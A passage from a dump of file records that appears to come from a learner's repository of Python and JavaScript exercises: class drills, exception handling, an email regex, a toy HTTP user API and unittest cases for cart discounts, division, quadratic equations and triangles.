'BsmtFinType2',\n 'Heating',\n 'HeatingQC',\n 'CentralAir',\n 'Electrical',\n 'KitchenQual',\n 'Functional',\n 'FireplaceQu',\n 'GarageType',\n 'GarageFinish',\n 'GarageQual',\n 'GarageCond',\n 'PavedDrive',\n 'Fence',\n 'SaleType',\n 'SaleCondition']\n\n # encode labels\n le = LabelEncoder()\n\n for feature in qualitative:\n le.fit(self.dataset[feature])\n self.dataset[feature] = le.transform(self.dataset[feature])\n\n #scaler = MinMaxScaler()\n #scaler.fit(self.dataset[quantitative])\n\n #x = scaler.transform(self.dataset[quantitative])\n\n #for feature in quantitative:\n # self.dataset[feature] = (self.dataset[feature] + 1).transform(np.log)\n\n #x = np.log1p(self.dataset[quantitative])\n\n #self.dataset[quantitative] = x\n\n #print(self.dataset.columns.to_list())\n\n return self.dataset\n\n\n" }, { "alpha_fraction": 0.6074766516685486, "alphanum_fraction": 0.6093457937240601, "avg_line_length": 16.866666793823242, "blob_id": "d3d65e103aa04c723c584ff95ce4ad6f4db98d97", "content_id": "9279732696b74ff0712ebfc7f76fe2a312817b04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "no_license", "max_line_length": 41, "num_lines": 30, "path": "/practics/practic1.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "def callback(s):\n print('set ',s)\n\nclass Listener:\n def __init__(self, cb = 0):\n self.cb = cb\n\n @property\n def cb(self):\n print(\"Getting value...\")\n return self._cb\n\n\n @cb.setter\n def cb(self, value):\n callback(value)\n self._cb = value\n\nimport os\n\n# Set environment variables\nos.environ['API_USER'] = 'username'\nos.environ['API_PASSWORD'] = 'secret'\n\n# Get environment variables\nUSER = os.getenv('API_USER')\nPASSWORD = os.environ.get('API_PASSWORD')\n\nprint(USER)\nprint(PASSWORD)" }, { "alpha_fraction": 0.5579681396484375, "alphanum_fraction": 0.5772908329963684, "avg_line_length": 26.288043975830078, "blob_id": "d3f980f8c302d914bf8b8de55bf5c506f14e47df", "content_id": "583ab7d356f8bba2a4a02f818ee2561593f12534", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5062, "license_type": "no_license", "max_line_length": 99, "num_lines": 184, "path": "/tasks04.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "class Employee:\n\n def __init__(self, firstname, lastname, salary):\n\n self.firstname = firstname\n self.lastname = lastname\n self.salary = salary\n\n def from_string(str):\n firstname, lastname, salary = str.split(\"-\")\n return Employee(firstname, lastname, salary)\n\nclass Employee:\n\n def __init__(self, _firstname, _lastname, _salary):\n\n self.firstname = _firstname\n self.lastname = _lastname\n self.salary = _salary\n\n @staticmethod\n def from_string(str):\n parsed_str = str.split(\"-\")\n return Employee(*parsed_str)\n\n# emp1 = Employee(\"Mary\", \"Sue\", 60000)\n# emp2 = Employee.from_string(\"John-Smith-55000\")\n# #\n# print(emp1.firstname) # \"Mary\"\n# print(emp1.salary) # 60000\n# print(emp2.firstname) # \"John\"\n\nclass Pizza:\n order_number = 0\n\n def __init__(self, ingredients):\n Pizza.order_number += 1\n self.order_number = Pizza.order_number\n self._ingredients = ingredients\n\n @property\n def ingredients(self):\n return self._ingredients\n\n @ingredients.setter\n def set_ingredients(self, x):\n self._ingredients = x\n\n @staticmethod\n def hawaiian():\n return Pizza([\"ham\", \"pineapple\"])\n\n @staticmethod\n def meat_festival():\n return Pizza([\"beef\", \"meatball\", \"bacon\"])\n\n @staticmethod\n def garden_feast():\n return Pizza([\"spinach\", \"olives\", \"mushroom\"])\n\n# p1 = Pizza([\"bacon\", \"parmesan\", \"ham\"])\n# p2 = Pizza.garden_feast() # order 2\n# print(p1.ingredients) #➞ [\"bacon\", \"parmesan\", \"ham\"]\n# print(p2.ingredients) #➞ [\"spinach\", \"olives\", \"mushroom\"]\n# print(p1.order_number) #➞ 1\n# print(p2.order_number) #➞ 2\n\nclass Employee:\n\n def __init__(self, fullname, **kwargs):\n\n self.name, self.lastname = fullname.split(\" \")\n self.__dict__.update(kwargs)\n\nclass Employee:\n\n def __init__(self, _fullname, **kwargs):\n\n self.name, self.lastname = _fullname.split(\" \")\n for key, val in kwargs.items():\n setattr(self, key, val)\n\n\nclass Testpaper:\n\n def __init__(self, subject = \"\", markscheme = \"\", pass_mark = \"\"):\n\n self.subject = subject\n self.markscheme = markscheme\n self.pass_mark = pass_mark\n\n\nclass Student:\n\n def __init__(self):\n\n self.tests_taken = \"No tests taken\"\n\n def take_test(self, csl, markscheme):\n q_questions = len(markscheme)\n\n pass_mark = round(sum(1 for i in range(q_questions) if markscheme[i] == csl.markscheme[i])\\\n / q_questions * 100)\n\n if pass_mark >= int(csl.pass_mark[:2]):\n\n test_taken = {csl.subject: \"Passed! (\" + str(pass_mark) + \"%)\"}\n\n else:\n\n test_taken = {csl.subject: \"Failed! (\" + str(pass_mark) + \"%)\"}\n\n if isinstance(self.tests_taken, dict):\n\n self.tests_taken.update(test_taken)\n\n else:\n\n self.tests_taken = test_taken\n\n\n# paper1 = Testpaper(\"Maths\", [\"1A\", \"2C\", \"3D\", \"4A\", \"5A\"], \"60%\")\n# paper2 = Testpaper(\"Chemistry\", [\"1C\", \"2C\", \"3D\", \"4A\"], \"75%\")\n# paper3 = Testpaper(\"Computing\", [\"1D\", \"2C\", \"3C\", \"4B\", \"5D\", \"6C\", \"7A\"], \"75%\")\n#\n# student1 = Student()\n# student2 = Student()\n# student1.tests_taken ➞ \"No tests taken\"\n# student1.take_test(paper1, [\"1A\", \"2D\", \"3D\", \"4A\", \"5A\"])\n# student1.tests_taken ➞ {\"Maths\" : \"Passed! (80%)\"}\n#\n# student2.take_test(paper2, [\"1C\", \"2D\", \"3A\", \"4C\"])\n# student2.take_test(paper3, [\"1A\", \"2C\", \"3A\", \"4C\", \"5D\", \"6C\", \"7B\"])\n# student2.tests_taken ➞ {\"Chemistry\" : \"Failed! (25%)\", \"Computing\" : \"Failed! (43%)\"}\n\n\nclass Gallows:\n\n def __init__(self):\n\n # a list of words already said\n self.words = []\n self.game_over = False\n\n def play(self, word):\n\n if (not self.words or word[0] == self.words[-1][-1]) and \\\n word not in self.words and not self.game_over:\n\n self.words.append(word)\n return self.words\n\n else:\n\n self.game_over = True\n return \"game over\"\n\n def restart(self):\n\n self.__init__()\n return \"game restarted\"\n\n\nmy_gallows = Gallows()\nprint(my_gallows.play('apple')) #➞ ['apple']\nprint(my_gallows.play('ear'))#➞ ['apple', 'ear']\nprint(my_gallows.play('rhino')) #➞ ['apple', 'ear', 'rhino']\n# Corn does not start with an \"o\".\nprint(my_gallows.play('corn'))\nprint(my_gallows.words) #➞ ['apple', 'ear', 'rhino']\n#\n# Words should be accessible.\nprint(my_gallows.restart() )#➞ \"game restarted\"\n# # Words list should be set back to empty.\n# print(my_gallows.play('hostess')) #➞ ['hostess']\n# print(my_gallows.play('stash')) #➞ ['hostess', 'stash']\n# print(my_gallows.play('hostess')) #➞ \"game over\"\n# # Words cannot have already been said.\n# print(my_gallows.play('apple')) #➞ ['apple']\n# print(my_gallows.play('rhino')) #➞ ['apple', 'ear', 'rhino']\n# print(my_gallows.play('corn')) #➞ \"game over\"\n# print(my_gallows.words) #➞ ['apple', 'ear', 'rhino']\n# print(my_gallows.restart()) #➞ \"game restarted\"\n# print(my_gallows.words) #➞ []" }, { "alpha_fraction": 0.4886363744735718, "alphanum_fraction": 0.7045454382896423, "avg_line_length": 16.600000381469727, "blob_id": "b6befc8d28653e475ea40728d4f9e2e19fbd4e3e", "content_id": "4ee9e18a3d38dc2f3b758e622894d26ae4fd6dfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 88, "license_type": "no_license", "max_line_length": 23, "num_lines": 5, "path": "/Flask-SQLAlchemy-docker-app/requirements.txt", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "Flask==1.1.2\nFlask-SQLAlchemy==2.4.3\npsycopg2==2.8.5\nSQLAlchemy==1.3.17\nurllib3==1.25.8\n" }, { "alpha_fraction": 0.5792672634124756, "alphanum_fraction": 0.5954158902168274, "avg_line_length": 24.945945739746094, "blob_id": "89e9183d115d3d93ef9bd81fec284bc836a0b2d1", "content_id": "5d48c563acd29cd1b21eb83602d97617b37f28d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5767, "license_type": "no_license", "max_line_length": 115, "num_lines": 222, "path": "/tasks05.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "def divide(numerator, denominator):\n # enter your code\n try:\n result = numerator / denominator\n return f\"Result is {result}\"\n\n except ZeroDivisionError:\n return f\"Oops, {numerator}/{denominator}, division by zero is error!!!\"\n\n except TypeError:\n return \"Value Error! You did not enter a number!\"\n\n\n# import complex math module\nimport cmath\n\ndef solve_quadric_equation(a, b, c):\n\n try:\n\n a, b, c = float(a), float(b), float(c)\n # calculate the discriminant\n d = (b ** 2) - (4 * a * c)\n\n # find two solutions\n solution_1 = (-b - cmath.sqrt(d)) / (2 * a)\n solution_2 = (-b + cmath.sqrt(d)) / (2 * a)\n\n return f\"The solution are x1={solution_1} and x2={solution_2}\"\n\n except ZeroDivisionError:\n return \"Zero Division Error\"\n\n except ValueError:\n return \"Could not convert string to float\"\n\n# s1 = solve_quadric_equation(1, 5, 6) #output: \" The solution are x1=(-2-0j) and x2=(-3+0j)\"\n# s2 = solve_quadric_equation(0, 8, 1) #output: \"Zero Division Error\"\n# s3 = solve_quadric_equation(1,\"abc\", 5) #output: \"Could not convert string to float\"\n#\n# print(s1, s2, s3)\n\n\nclass MyError(Exception):\n # enter your code\n pass\n\n\ndef check_positive(number):\n # enter your code\n try:\n number = float(number)\n if number < 0:\n raise MyError\n\n else:\n return f\"You input positive number: {number}\"\n\n except ValueError:\n return \"Error type: ValueError!\"\n\n except MyError:\n return f\"You input negative number: {number}. Try again.\"\n\n\nclass MyError(Exception):\n # enter your code\n def __init__(self, message=\"\"):\n self.message = message\n super().__init__(self.message)\n\n def __repr__(self):\n return self.message\n\n\nclass MyError(Exception):\n # enter your code\n def __init__(self, text):\n self.txt = text\n\n\nclass MyError(Exception):\n #Exception. # enter your code\n pass\n\ndef check_positive(number):\n # enter your code\n try:\n number = float(number)\n if number < 0:\n raise MyError(f\"You input negative number: {number}. Try again.\")\n\n else:\n return f\"You input positive number: {number}\"\n\n except ValueError:\n return \"Error type: ValueError!\"\n\n except MyError as e:\n return e\n\n#c1 = check_positive (24) #output: \"You input positive number: 24\"\n#c1 = check_positive (-19) #output: \"You input negative number: -19. Try again.\"\n#c1 = check_positive (\"38\") #output: \"You input positive number: 38\"\n#c1 = check_positive (\"abc\") #output: \"Error type: ValueError!\"\n#print(c1)\n#print(c1) #, c2, c3, c4\n\nimport re\n\ndef valid_email(email):\n #enter your code\n\n #[chr(i) for i in range(0x0021, 0x02FF)]\n #An email is a string (a subset of ASCII characters) separated into two parts by @ symbol,\n # a “user_info” and a domain_info, that is personal_info@domain_info:\n pattern_email = \"^[a-z]+@([a-z]+\\.){1,2}([a-z]{3})$\"\n try:\n if not re.match(pattern_email, email):\n raise ValueError\n else:\n return \"Email is valid\"\n except ValueError:\n return \"Email is not valid\"\n\n\ndef valid_email1(email):\n #enter your code\n\n #An email is a string (a subset of ASCII characters) separated into two parts by @ symbol,\n # a “user_info” and a domain_info, that is personal_info@domain_info:\n pattern_email = '^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})$'\n try:\n if not re.match(pattern_email, email):\n raise ValueError(\"Email is not valid\")\n return \"Email is valid\"\n\n except ValueError as e:\n return e\n\n# print(valid_email(\"[email protected]\")) #output: \"Email is valid\"\n# print(valid_email(\"trafik@ukr_tel.com\")) #output: \"Email is not valid\"\n# print(valid_email(\"tra@[email protected]\")) #output: \"Email is not valid\"\n# print(valid_email(\"[email protected]\")) #output: \"Email is not valid\"\n\n\n\n\ndef day_of_week(day):\n week_days = {1: \"Monday\", 2: \"Tuesday\", 3: \"Wednesday\", 4: \"Thursday\", 5: \"Friday\", 6: \"Saturday\", 7: \"Sunday\"}\n\n try:\n\n if type(day) != int and not day.isdigit():\n raise TypeError\n\n name_of_day = week_days[day]\n\n return name_of_day\n\n except KeyError:\n return \"There is no such day of the week! Please try again.\"\n\n except TypeError:\n return \"You did not enter a number! Please try again.\"\n\n\n\nclass ToSmallNumberGroupError(Exception):\n \"\"\"Raised when the input value is too small\"\"\"\n pass\n\n\ndef check_number_group(number):\n try:\n\n if type(number) == str and number.isdigit():\n number = int(number)\n\n if number <= 10:\n raise ToSmallNumberGroupError\n\n return f\"Number of your group {number} is valid\"\n\n except ToSmallNumberGroupError:\n return \"We obtain error:Number of your group can't be less than 10\"\n\n except TypeError:\n return \"You entered incorrect data. Please try again.\"\n\n\ndef check_number_group(number):\n try:\n\n number = int(number)\n\n if number <= 10:\n raise ToSmallNumberGroupError\n\n return f\"Number of your group {number} is valid\"\n\n except ToSmallNumberGroupError:\n return \"We obtain error:Number of your group can't be less than 10\"\n\n except ValueError:\n return \"You entered incorrect data. Please try again.\"\n\n#print(check_number_group(75))\n\n\ndef check_odd_even(number):\n try:\n if number % 2:\n is_number = \"odd\"\n\n else:\n is_number = \"even\"\n\n return f\"Entered number is {is_number}\"\n\n except TypeError:\n return \"You entered not a number.\"" }, { "alpha_fraction": 0.6392629146575928, "alphanum_fraction": 0.6637136936187744, "avg_line_length": 32.55952453613281, "blob_id": "0c733952fa2376bf1c0fbcaf8deaa17fc91cad5a", "content_id": "37b28c1f13c56d35e7a97498b259fb7075c4ed32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2832, "license_type": "no_license", "max_line_length": 123, "num_lines": 84, "path": "/JS/theory.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "//String Number Boolean Undefined Null Symbol Object\nlet x; // type undefined\nconsole.log(x); // undefined\n\nx = 45; // type number\nconsole.log(x); // 45\n\nx = \"45\"; // type string\nconsole.log(x); // \"45\"\n\n\nlet num =+ x //convert to number\nconsole.log(typeof num)\n\nlet a = 20;\nlet data = String(a);\nconsole.log(data); \t\t\t // \"20\"\nconsole.log(typeof data); // \"string\"\n\nlet data1 = a + \"\";\nconsole.log(data1); \t\t\t // \"20\"\nconsole.log(typeof data1); // \"string\"\n\nconsole.log(parseInt(\"7\")); // 7\nconsole.log(parseInt(\"7.5\")); // 7\nconsole.log(parseInt(\"7nm\")); // 7\nconsole.log(parseInt(\"nm\")); // NaN\n\nconsole.log(parseFloat(\"7\")); // 7\nconsole.log(parseFloat(\"7.125\")); // 7.125\nconsole.log(parseFloat(\"7nm\")); // 7\nconsole.log(parseFloat(\"nm\")); // NaN\n\nconsole.log(isNaN(1)); // false\nconsole.log(isNaN(\"1\")); // false\nconsole.log(isNaN(\"1m\")); // true\nconsole.log(isNaN(null)); // false\nconsole.log(isNaN(undefined)); // true\n\nlet a2 = \"1\";\nlet bln = Boolean(a2);\nconsole.log(bln); // true\nconsole.log(typeof bln); // \"boolean\"\n\nlet a1 = \"1\";\nlet bln1 = !!a1;\nconsole.log(bln1); // true\nconsole.log(typeof bln1); // \"boolean\"\n\nconst arr = [];\nconst arr1 = new Array();\n\nconst cities = [\"Rome\", \"Lviv\", \"Warsaw\"];\nfor (let i of cities) { // run 3 times\n console.log(i); // Rome, Lviv, Warsaw\n}\n\nconst cities1 = [\"Rome\", \"Lviv\", \"Warsaw\"];\nfor (let i = 0; i < cities1.length; i++) { // run 3 times\n console.log(cities1[i]); } // Rome, Lviv, Warsaw\n\n// Arrays provide many methods:\n// push(... items) - adds items to the end of the array\n// pop() - removes the element at the end of the array and returns it.\n// shift() - removes the element at the beginning of the array and returns it.\n// unshift(... items) - adds items to the beginning of the array.\n// slice(start, end) – creates a new array, copying elements from start to end (not including end) into it.\n// splice(pos, deleteCount, ...items) – starting at the pos index, removes deleteCount items and inserts items.\n// concat(...items) – returns a new array: copies all members of the current array and adds items to it.\n// forEach(func) – calls func for each element (enumeration)\n// map() – creates a new array with the results of calling a function for every array element.\n\nconst cities2 = [\"Rome\", \"Lviv\", \"Warsaw\"];\nconst newArr = cities2.filter(function(citie) { return citie.length < 5 });\nconsole.log(newArr); // [\"Rome\", \"Lviv\"]\n\nconst newArr1 = cities2.map( function(city) { return city + \"Capital\" });\nconsole.log(newArr1); [ 'RomeCapital', 'LvivCapital', 'WarsawCapital' ]\n\n//The reduce() method performs the reducer function you specified for each element of the array and returns a single value.\nconst data2 = [2, 4, 6, 8];\nfunction reducer(total, value) { return total + value; }\nconst sum = data2.reduce(reducer); // 20\nconsole.log(sum);\n\n\n\n" }, { "alpha_fraction": 0.5181941986083984, "alphanum_fraction": 0.5290653705596924, "avg_line_length": 28.968326568603516, "blob_id": "4e1a9d97a7b001b87343a9e16fac209beab0c6bc", "content_id": "364572ceb79f3e44728710c9363a93de93ea4a41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6623, "license_type": "no_license", "max_line_length": 103, "num_lines": 221, "path": "/Tasks09/main.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import json\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport copy\nimport jsonschema\n\n\nUSERS_LIST = [\n {\n \"id\": 1,\n \"username\": \"theUser\",\n \"firstName\": \"John\",\n \"lastName\": \"James\",\n \"email\": \"[email protected]\",\n \"password\": \"12345\",\n }\n]\n\nUSERS_KEYS = [\"id\", \"username\", \"firstName\", \"lastName\", \"email\", \"password\"]\n\n# I did't use the class in the code\n# Written for a learning purpose\nclass User:\n schema = {\n \"type\": \"object\",\n \"properties\": {\n \"id\": {\"type\": \"string\"},\n \"username\": {\"type\": \"string\"},\n \"firstName\": {\"type\": \"string\"},\n \"lastName\": {\"type\": \"string\"},\n \"password\": {\"type\": \"string\"},\n },\n \"required\":[\"username\", \"firstName\", \"lastName\", \"password\"]}\n\n def __init__(self, id, username, firstName, lastName, email, password):\n self.id = id\n self.username = username\n self.firstName = firstName\n self.lastName = lastName\n self.email = email\n self.password = password\n\n def serialize_to_json(self):\n return self.__dict__\n\n def from_json(csl, json_dict):\n return csl(**json_dict)\n\n def validate_json(self, data):\n try:\n jsonschema.validate(data, self.schema)\n except jsonschema.exeption.ValidationError:\n return False\n return True\n\n# before put in the body to response user.serialize_to_json()\n# self.user_list should contain users with type of User class\n\n\nclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):\n\n users_list_session = []\n\n def _set_response(self, status_code=200, body=None):\n self.send_response(status_code)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n self.wfile.write(json.dumps(body if body else {}).encode('utf-8'))\n\n\n def _pars_body(self):\n content_length = int(self.headers['Content-Length']) # <--- Gets the size of data\n return json.loads(self.rfile.read(content_length).decode('utf-8')) # <--- Gets the data itself\n\n\n def check_id_user(self, user_id):\n if self.users_list:\n return [True if user['id'] == user_id else False for user in self.users_list][0]\n else:\n return False\n\n\n @staticmethod\n def check_keys_user(keys):\n for key in USERS_KEYS:\n if key not in keys:\n return True\n return False\n\n\n def check_user(self, body):\n if self.check_keys_user(body.keys()) or self.check_id_user(body.get(\"id\")):\n status = 400\n else:\n status = 201\n return status\n\n\n def get_idx_user(self, user_id=None, username=None):\n if not self.users_list: return None\n if user_id:\n return [i if user['id'] == user_id else None for i, user in\n enumerate(self.users_list)][0]\n elif username:\n return [i if user['username'] == username else None for i, user in\n enumerate(self.users_list)][0]\n\n\n def do_GET(self):\n\n if self.path == \"/users\":\n self._set_response(200, self.users_list)\n\n elif self.path.startswith(\"/user/\"):\n\n # find user in the self.users_list\n username = self.path.split(\"/\")[-1]\n idx = self.get_idx_user(username=username)\n\n if idx is not None:\n self._set_response(200, self.users_list[idx])\n else:\n self._set_response(400, {\"error\": \"User not found\"})\n\n elif self.path == \"/reset\":\n SimpleHTTPRequestHandler.users_list = copy.deepcopy(USERS_LIST)\n self._set_response(204) # no content\n else:\n self._set_response(418)\n\n\n def do_POST(self):\n\n if self.path == \"/user\":\n body = self._pars_body()\n status = self.check_user(body)\n body = {} if status == 400 else body\n self._set_response(status, body)\n\n elif self.path == \"/user/createWithList\":\n body = self._pars_body()\n\n for user in body:\n status = self.check_user(user)\n if status == 400:\n body = {}\n break\n\n self._set_response(status, body)\n\n else:\n self._set_response(418)\n\n\n def do_PUT(self):\n\n if self.path.startswith(\"/user/\"):\n body = self._pars_body()\n # find user in the self.users_list\n username = self.path.split(\"/\")[-1]\n idx = self.get_idx_user(username=username)\n if idx is not None:\n keys_update = body.keys()\n\n # not valid only username is lack ???\n # assumed all of other field could be updated in case\n if \"username\" not in keys_update or \"id\" in keys_update:\n self._set_response(400, {\"error\": \"not valid request data\"})\n else:\n # getting dict of not updating fields\n dict_save = {key: item for key, item in self.users_list[idx].items()\n if key not in keys_update}\n\n updated_data = dict(**body, **dict_save)\n self.users_list[idx].update(updated_data)\n self._set_response(200, updated_data)\n\n else:\n self._set_response(404, {\"error\": \"User not found\"})\n else:\n self._set_response(418)\n\n\n def do_DELETE(self):\n\n if self.path.startswith(\"/user/\"):\n id_ = self.path.split(\"/\")[-1]\n try:\n id_ = int(id_)\n idx = self.get_idx_user(user_id=id_)\n if idx is not None:\n self.users_list.pop(idx)\n status = 200\n body = {}\n else:\n status = 404\n body = {\"error\": \"User not found\"}\n self._set_response(status, body)\n\n except ValueError:\n self._set_response(404, {\"error\": \"User not found\"})\n else:\n self._set_response(418)\n\n\ndef run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, host='localhost', port=8000):\n server_address = (host, port)\n httpd = server_class(server_address, handler_class)\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n httpd.server_close()\n\n\nif __name__ == '__main__':\n from sys import argv\n\n if len(argv) == 2:\n run(port=int(argv[1]))\n else:\n run()\n" }, { "alpha_fraction": 0.4698389172554016, "alphanum_fraction": 0.5123274326324463, "avg_line_length": 30.038265228271484, "blob_id": "ea3f29cc1b8a4146542500dd53bf745d7d3f7322", "content_id": "37f8516e560e85007997bbbeb36cf617ddab81ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12170, "license_type": "no_license", "max_line_length": 112, "num_lines": 392, "path": "/tasks08.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import math\nimport unittest\nfrom unittest.mock import mock_open, patch\n\nclass Product:\n\n def __init__(self, name, price, count=0):\n self.name = name\n self.price = price\n self.count = count\n self.discount = 0\n\n def __str__(self):\n return f\"name: '{self.name}' price: {self.price} count: {self.count} discount: {self.discount}\"\n\n\nclass Cart:\n\n def __init__(self):\n self.products = []\n\n def add(self, product):\n if product in self.products:\n idx = self.products.index(product)\n self.products[idx].count += 1\n self.products[idx].discount = self.discount(self.products[idx].count)\n else:\n if not product.count:\n product.count = 1\n else:\n product.discount = self.discount(product.count)\n self.products.append(product)\n\n def discount(self, count):\n if count < 5:\n return 0\n elif count < 7:\n return 5\n elif count < 10:\n return 10\n elif count < 20:\n return 20\n elif count == 20:\n return 30\n else:\n return 50\n\n def get_product(self, product):\n if product in self.products:\n idx = self.products.index(product)\n return f\"{self.products[idx]}\"\n else:\n return f\"Din't find!\"\n\nclass CartTest(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n # creating products with different quantities\n cls.product0 = Product(\"product0\", 1)\n cls.product1 = Product(\"product1\", 1, 5)\n cls.product2 = Product(\"product2\", 1, 7)\n cls.product3 = Product(\"product3\", 1, 10)\n cls.product4 = Product(\"product4\", 1, 20)\n cls.product5 = Product(\"product5\", 1, 21)\n cls.product6 = Product(\"product5\", 1, 50)\n # adding to a cart all product exclude product6\n cls.card1 = Cart()\n cls.card1.add(cls.product1)\n cls.card1.add(cls.product2)\n cls.card1.add(cls.product3)\n cls.card1.add(cls.product4)\n cls.card1.add(cls.product5)\n # adding one more - in this case +1 count 0+1\n cls.card1.add(cls.product0)\n cls.card1.add(cls.product0)\n\n @classmethod\n def tearDownClass(cls):\n cls.product0 = None\n cls.product1 = None\n cls.product2 = None\n cls.product3 = None\n cls.product4 = None\n cls.product5 = None\n cls.product6 = None\n cls.card1 = None\n\n def test_get_product(self):\n list_cases = [(self.card1.get_product(self.product0), \"name: 'product0' price: 1 count: 2 discount: 0\"),\n (self.card1.get_product(self.product1), \"name: 'product1' price: 1 count: 5 discount: 5\"),\n (self.card1.get_product(self.product2), \"name: 'product2' price: 1 count: 7 discount: 10\"),\n (self.card1.get_product(self.product3), \"name: 'product3' price: 1 count: 10 discount: 20\"),\n (self.card1.get_product(self.product4), \"name: 'product4' price: 1 count: 20 discount: 30\"),\n (self.card1.get_product(self.product5), \"name: 'product5' price: 1 count: 21 discount: 50\"),\n (self.card1.get_product(self.product6), \"Din't find!\")]\n\n\n for p1, p2 in list_cases:\n with self.subTest():\n self.assertEqual(p1, p2)\n\n#===============================================================================================================\ndef divide(num_1, num_2):\n return float(num_1) / num_2\n\n\nclass DivideTest(unittest.TestCase):\n\n def test_divine(self):\n list_cases = [(divide(5, 2), 2.5),\n (divide(20, 3), 6.67),\n (divide(3, 3), 1)]\n\n for p1, p2 in list_cases:\n with self.subTest():\n self.assertAlmostEqual(p1, p2, 2)\n\n def test_zero(self):\n self.assertRaises(ZeroDivisionError, divide, 1, 0)\n\n def test_type(self):\n self.assertRaises(TypeError, divide, \"1\", \"2\")\n\n def test_value(self):\n self.assertRaises(ValueError, divide, \"gg\", 2)\n\n#===============================================================================================================\n# take math - without complex solutions\ndef quadratic_equation(a, b, c):\n try:\n a, b, c = float(a), float(b), float(c)\n # calculate the discriminant\n d = (b ** 2) - (4 * a * c)\n\n if d < 0:\n return None\n elif d == 0:\n # find one solutions\n solution_1 = (-b - math.sqrt(d)) / (2 * a)\n return solution_1\n else:\n # find two solutions\n solution_2 = (-b - math.sqrt(d)) / (2 * a)\n solution_1 = (-b + math.sqrt(d)) / (2 * a)\n return (solution_1, solution_2)\n except ZeroDivisionError as e:\n return e\n\n\nclass QuadraticEquationTest(unittest.TestCase):\n # discriminant > 0\n positive_case1 = quadratic_equation(1, 5, 6)\n # discriminant = 0\n positive_case2 = quadratic_equation(1, -4, 4)\n # discriminant < 0\n nagative_case = quadratic_equation(2, -4, 3)\n\n def test_positive_1(self):\n self.assertEqual(self.positive_case1, (-2.0, -3.0))\n\n def test_positive_2(self):\n self.assertEqual(self.positive_case2, 2.0)\n\n def test_no_solutions(self):\n self.assertEqual(self.nagative_case, None)\n\n # given not number\n def test_value(self):\n self.assertRaises(ValueError, quadratic_equation, 1, \"abc\", 5)\n\n\n#===============================================================================================================\nclass TriangleNotValidArgumentException(Exception):\n pass\n\nclass TriangleNotExistException(Exception):\n pass\n\nclass Triangle:\n\n def __init__(self, args):\n Triangle.validate_create(args)\n self.a, self.b, self.c = args\n\n @staticmethod\n def _get_val_to_sqrt(a, b, c):\n p = (a + b + c) * 0.5\n val = p * (p - a) * (p - b) * (p - c)\n return val\n\n # Heron’s formula\n def get_area(self):\n val = self._get_val_to_sqrt(self.a, self.b, self.c)\n area = math.sqrt(self.val)\n return area\n\n @staticmethod\n def validate_create(args):\n if not isinstance(args, tuple) or len(args) != 3 or\\\n False in (isinstance(each, int) or isinstance(each, float) for each in args):\n raise TriangleNotValidArgumentException(\"Not valid arguments\")\n\n a, b, c = args\n\n if a < 0 or b < 0 or c < 0 or a + b < c or b + c < a or a + c < b:\n msg = \"Can`t create triangle with this arguments\"\n raise TriangleNotExistException(msg)\n\n val = Triangle._get_val_to_sqrt(a, b, c)\n if not val or val < 0:\n msg = \"Can`t create triangle with this arguments\"\n raise TriangleNotExistException(msg)\n\n\n#t = Triangle(('a', 2, 3))\n\nclass TriangleTest(unittest.TestCase):\n\n valid_test_data = [\n ((3, 4, 5), 6.0),\n ((10, 10, 10), 43.30),\n ((6, 7, 8), 20.33),\n ((7, 7, 7), 21.21),\n ((50, 50, 75), 1240.19),\n ((37, 43, 22), 406.99),\n ((26, 25, 3), 36.0),\n ((30, 29, 5), 72.0),\n ((87, 55, 34), 396.0),\n ((120, 109, 13), 396.0),\n ((123, 122, 5), 300.0)\n ]\n not_valid_triangle = [\n (1, 2, 3),\n (1, 1, 2),\n (7, 7, 15),\n (100, 7, 90),\n (17, 18, 35),\n (127, 17, 33),\n (145, 166, 700),\n (1000, 2000, 1),\n (717, 17, 7),\n (0, 7, 7),\n (-7, 7, 7)\n ]\n not_valid_arguments = [\n ('3', 4, 5),\n ('a', 2, 3),\n (7, \"str\", 7),\n ('1', '1', '1'),\n 'string',\n (7, 2),\n (7, 7, 7, 7),\n 'str',\n 10,\n ('a', 'str', 7)\n ]\n\n def test_valid_data(self):\n for p1, p2 in self.valid_test_data:\n with self.subTest():\n p = round(Triangle(p1).get_area(), 2)\n assert abs(p - p2) < 0.01\n\n def test_not_valid_data(self):\n for p in self.not_valid_triangle:\n with self.subTest():\n try:\n Triangle(p)\n return False\n except TriangleNotExistException:\n return True\n\n def test_not_valid_arguments(self):\n for p in self.not_valid_arguments:\n with self.subTest():\n try:\n Triangle(p)\n return False\n except TriangleNotValidArgumentException:\n return True\n\n\n\n\n# not_valid_triangle = [\n# (-7, 7, 7)\n# ]\n# for data in not_valid_triangle:\n# try:\n# Triangle(data)\n# print(data)\n# except TriangleNotExistException as e:\n# print(e)\n\n#===============================================================================================================\nclass Worker:\n def __init__(self, name, salary=0):\n if salary < 0:\n raise ValueError\n self.name = name\n self.salary = salary\n\n def get_tax_value(self, salary=0):\n if salary:\n self.salary = salary\n rates = [0, .1, .15, .21, .30, 